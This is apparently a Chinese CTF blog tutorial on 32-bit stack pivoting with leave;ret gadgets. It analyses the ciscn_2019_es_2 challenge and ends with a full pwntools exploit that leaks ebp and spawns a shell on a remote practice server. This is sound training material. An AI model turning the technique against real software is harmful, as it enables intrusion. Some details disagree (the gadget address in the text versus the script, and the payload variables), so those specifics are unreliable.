pwn-栈迁移

1.使用前置条件

可以写入的空间太小,将栈迁移到别的地方构造payload

关键指令:

leave; 
ret;

2.32位程序下的栈迁移原理以及分析

实例题目的链接:HITCON-Training/LAB/lab6/migration at master · scwuaptx/HITCON-Training (github.com)

进去后直接view raw即可下载

1.构造条件

  • 栈溢出的控制字节较少,无法构造长的rop
  • 存在PIE保护,不清楚栈的地址
  • 其他漏洞不好利用

2.使用的要求

  • 可以控制程序的执行流程
  • 可以控制sp指针(指向栈顶的指针或者寄存器),栈指针的 gadgets 一般是pop rsp/esp
  • libc_csu_init

3.原理分析

1.浅浅复习一下栈溢出(帖一张嫖的图)

2.栈迁移原理分析

函数剩余的空间不足以放下完整的恶意代码,就需要去自己找到其他存放恶意代码的地方

1.可以执行栈溢出的函数(假设read)被调用的流程(主函数)

主函数将执行以下的流程保护栈

  1. 保存read函数执行完后返回的地址(ret)
  2. 保存main函数栈底的地址(old ebp)
  3. 保存read函数栈顶的位置
image-20240426165600779
2.保护的流程分析

当read函数结束的时候,eip指向leave,ret恢复栈的结构(与执行read函数之前相同)

这里的恢复栈结构是上面call read函数的执行栈结构的创建的逆过程

在恢复的过程中:

ebp保存栈顶指针(mov esp,ebp)

栈中的pop epb可以控制ebp寄存器的内容

3.控制i流程的关键概念
  1. old ebp: 这个值是前一个函数的栈帧的基址指针当函数被调用时,它会将当前的 ebp 寄存器值(也就是上一个函数的 ebp)保存到栈上,然后设置当前 ebp 寄存器为新的栈帧的基址指针
  2. esp: 栈指针寄存器,指向当前栈顶的地址。栈顶是最后压入栈的数据所在的地址,导致函数返回时将控制权转移到攻击者指定的地址
4.利用esp和old ebp的思路

可以尝试通过栈溢出覆盖old ebp的值,从而不返回上面的正确的函数地址

然后再利用esp的指针指向另外一个保存恶意代码的地方,从而改变栈结构

5.leave的执行流程固定导致的问题解决

问题:

leave的执行顺序固定为

mov esp,ebp
pop ebp

导致不能先更改ebp,再更改esp

解决思路:

  1. 将栈上的ret的部分覆盖为另一组leave ret的地址(即是程序退出的时候执行两次leave的指令,一次ret指令)
  2. 在第一次执行pop ebp执行后,eip会指向另一个mov esp,ebp的地址, ebp 寄存器的内容已变为第一次 pop ebp 时,被篡改过的栈上 ebp 的数据
  3. esp 就会被「骗」到了另外的一处内存空间,从而整个函数的栈空间也完成了「迁移

3.栈迁移的详细实施步骤

1.step1

确定栈溢出的覆盖的ret和ebp的位置

确定shellcode的位置(栈迁移的位置,记作hijack

2.step2

寻找另一个leave ret gadget的位置,作为第二次call的leava执行(记作LeaveRetAddr)

3.step3

设置缓冲区变量:

将ebp的位置覆盖为 hijack-4(为什么-4后面解释)

将ret覆盖为LeaveRetAddr

4.step4跟进leave的执行
1.第一次mov esp, ebp

执行mov esp,ebp,还原栈指针到栈底;

esp指向hijack-4的地址

2.第一次pop ebp

hijack-4放进ebp寄存器,esp再次上移指向栈上的LeaveRetAddr(导致再次执行之前找到的leave指令,没有返回主函数)

3.第一次pop eip

LeaveRetAddr放入eip寄存器内,篡改执行流,以执行第二遍leave指令

4.第二次mov esp, ebp

hijack-4移动到esp中(栈顶指针被劫持到hijack-4的位置)

hijack的地址-4是因为保证栈能够对齐

5.第二次pop ebp

hijack-4移入eip内,成功将执行的流程劫持到shellcode的位置(因为这里pop ebp会将栈顶的4个字节弹出,所以这里应该是在缓冲区设置的时候将他覆盖为hijack-4)

6.第二次执pop eip

hijack移动到eip中,程序流程劫持

5.step5执行shellcode

shellcode执行结束拿到shell

3.栈迁移实例理解分析

这里的附件:ciscn_2019_es_2

https://files.buuoj.cn/files/3b1f1f64834cb78d6bafc0422ec4fbec/ciscn_2019_es_2?token=eyJ1c2VyX2lkIjoxNTM3MSwidGVhbV9pZCI6bnVsbCwiZmlsZV9pZCI6NDEzfQ.X5f9xg.-8nf8gU1oqFzKB-3ub0AFkvgVeY

1.checksec查一下

image-20240429213136465

有nx保护

2.ida分析

1.分析主函数

main函数
image-20240429213209111
int __cdecl main(int argc, const char **argv, const char **envp)
{
// 调用init()函数,可能用于初始化程序的一些状态或资源
init();

// 调用puts()函数打印一条欢迎消息
puts("Welcome, my friend. What's your name?");

// 调用vul()函数,可能是一个存在漏洞的函数,可能导致程序的安全问题
vul();

// 整个程序执行完成后,main函数返回0,表示程序执行成功
return 0;
}
主体函数是vul
image-20240429214625886
int vul()
{
char s[40]; // 定义一个长度为40的字符数组s,用于存储用户输入的字符串

memset(s, 0, 0x20u); // 将数组s的前32字节(0x20u)清零,防止未初始化内存泄漏

read(0, s, 0x30u); // 从标准输入(文件描述符0)读取最多48字节的数据到数组s中,可能导致缓冲区溢出漏洞

printf("Hello, %s\n", s); // 打印用户输入的字符串

read(0, s, 0x30u); // 再次从标准输入读取最多48字节的数据到数组s中,可能导致缓冲区溢出漏洞

return printf("Hello, %s\n", s); // 再次打印用户输入的字符串,并返回printf函数的返回值
}

这里在栈溢出的利用点

但是0x30字节数据给s,s大小是0x28,只能溢出0x8字节,覆盖到ret,没法构造太长的rop

所以要用到栈迁移

2.查一下字符串

image-20240429213707627

这个地方可以看见一个sysytem函数,用于利用可以作为LeaveRetAddr

image-20240429214126943

这个地方地址是adress=0x08048400

image-20240429214518391
image-20240429214412208

3.栈迁移构造思路

  1. 发现这里的有两个传入窗口
  2. 在第一个传入口泄露ebp的地址
  3. 第二个传入口写入/bin/sh
  4. 利用leave_ret去劫持流程到参数s的栈执行/bin/sh

4.具体操作流程

1.泄露ebp

利用printf的特性:

printf函数在输出的时候遇到’\0‘会停止

如果我们将参数s全部填满,这样就没法在末尾补上’\0‘,那样就会将ebp连带着输出

2.找到s在栈上的地址

这里前面已经找到ebp的位置,这里我们可以尝试调试出s到ebp的距离

在main函数的nop处下断点(因为这里nop后leave就会调用ebp寄存器)

image-20240429221448765

这里我传入aaaa

image-20240429221606079

这里的aaaa放进了esp

image-20240429221936477
image-20240429223120700

这里可以算出偏移是0x38

3.找到leave_ret的位置

image-20240429224514717

这里我们就用这里的init的leave_ret

地址:

0x08048592

4.构造payload

记得leave_ret的地址要抬高四个字节

payload='aaaa'+p32(sys)+p32(main)+p32(s+0x10)+"/bin/sh"
  1. 前四个aaaa(随意)
  2. 如果一开始将system函数写第一个,那么我们在用leave;ret劫持栈的时候要抬高4字节
  3. system函数的地址
  4. 一个地址,地址指向栈上的’/bin/sh‘字符串

参数补齐

payload2=payload2.ljust(0x28,'\x00'

5.栈劫持

payload2+=p32(s)+p32(leave_ret)

5.完整的EXP

from pwn import *

r=remote('node3.buuoj.cn',28967)

sys=0x8048400
leave_ret=0x08048562
main=0xdeadbeef

payload='a'*0x27+'b'
r.send(payload)
r.recvuntil("b")
s=ebp=u32(r.recv(4))-0x38

payload2='aaaa'+p32(sys)+p32(main)+p32(s+0x10)+"/bin/sh"
payload2=payload2.ljust(0x28,'\x00')
payload2+=p32(s)+p32(leave_ret)


r.send(payload2)
r.interactive()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇